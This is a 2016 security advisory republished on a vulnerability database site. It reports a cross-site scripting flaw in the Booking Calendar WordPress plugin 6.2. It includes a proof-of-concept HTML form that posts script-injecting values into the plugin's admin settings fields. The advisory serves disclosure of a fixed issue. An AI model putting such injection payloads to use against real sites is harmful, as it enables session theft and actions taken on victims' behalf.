Lucene search

WordPress Booking Calendar 6.2.1 Cross Site Scripting

🗓️ 01 Aug 2016 00:00:00Reported by Securify B.V.Type

packetstorm🔗 packetstormsecurity.com👁 24 Views

Cross Site Scripting in WordPress Booking Calendar 6.2.

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`------------------------------------------------------------------------  
Cross-Site Scripting vulnerability in Booking Calendar WordPress Plugin  
------------------------------------------------------------------------  
Edwin Molenaar, July 2016  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
A Cross-Site Scripting vulnerability was found in the Booking Calendar  
WordPress Plugin. This issue allows an attacker to perform a wide  
variety of actions, such as stealing users' session tokens, or  
performing arbitrary actions on their behalf. In order to exploit this  
issue, the attacker has to lure/force a victim into opening a malicious  
website/link.  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160714-0003  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
These issues were successfully tested on Booking Calendar WordPress  
Plugin version 6.2.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
This issue is resolved in Booking Calendar version 6.2.1.  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_booking_calendar_wordpress_plugin.html  
  
The vulnerability exists in the wpdev_bk_settings_form_labels() function from booking/lib/wpdev-settings-general.php (line 1492).  
  
All input field on the Booking > Settings > Fields page are vulnerable to Cross-Site Scripting, eg http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=form.  
  
Also all the form from the Booking > Settings > Import tab are vulnerable to Cross-Site Scripting, however a valid anti-CSRF token in this tab is required, eg http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=sync.  
Proof of concept  
  
<html>  
<body>  
<form action="http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=form" method="POST">  
<input type="hidden" name="booking_form_field_label1" value=""><script>alert(document.domain)</script>" />  
<input type="hidden" name="booking_form_field_label2" value=""><script>alert(document.domain)</script>" />  
<input type="hidden" name="booking_form_field_label3" value=""><script>alert(document.domain)</script>" />  
<input type="hidden" name="booking_form_field_label6" value=""><script>alert(document.domain)</script>" />  
<input type="hidden" name="booking_form_field_values6" value="" />  
<input type="hidden" name="booking_form_field_label4" value=""><script>alert(document.domain)</script>" />  
<input type="hidden" name="booking_form_field_active4" value="On" />  
<input type="hidden" name="booking_form_field_label5" value=""><script>alert(document.domain)</script>" />  
<input type="hidden" name="Submit" value="Save Changes" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

01 Aug 2016 00:00Current

7.4High risk

Vulners AI Score7.4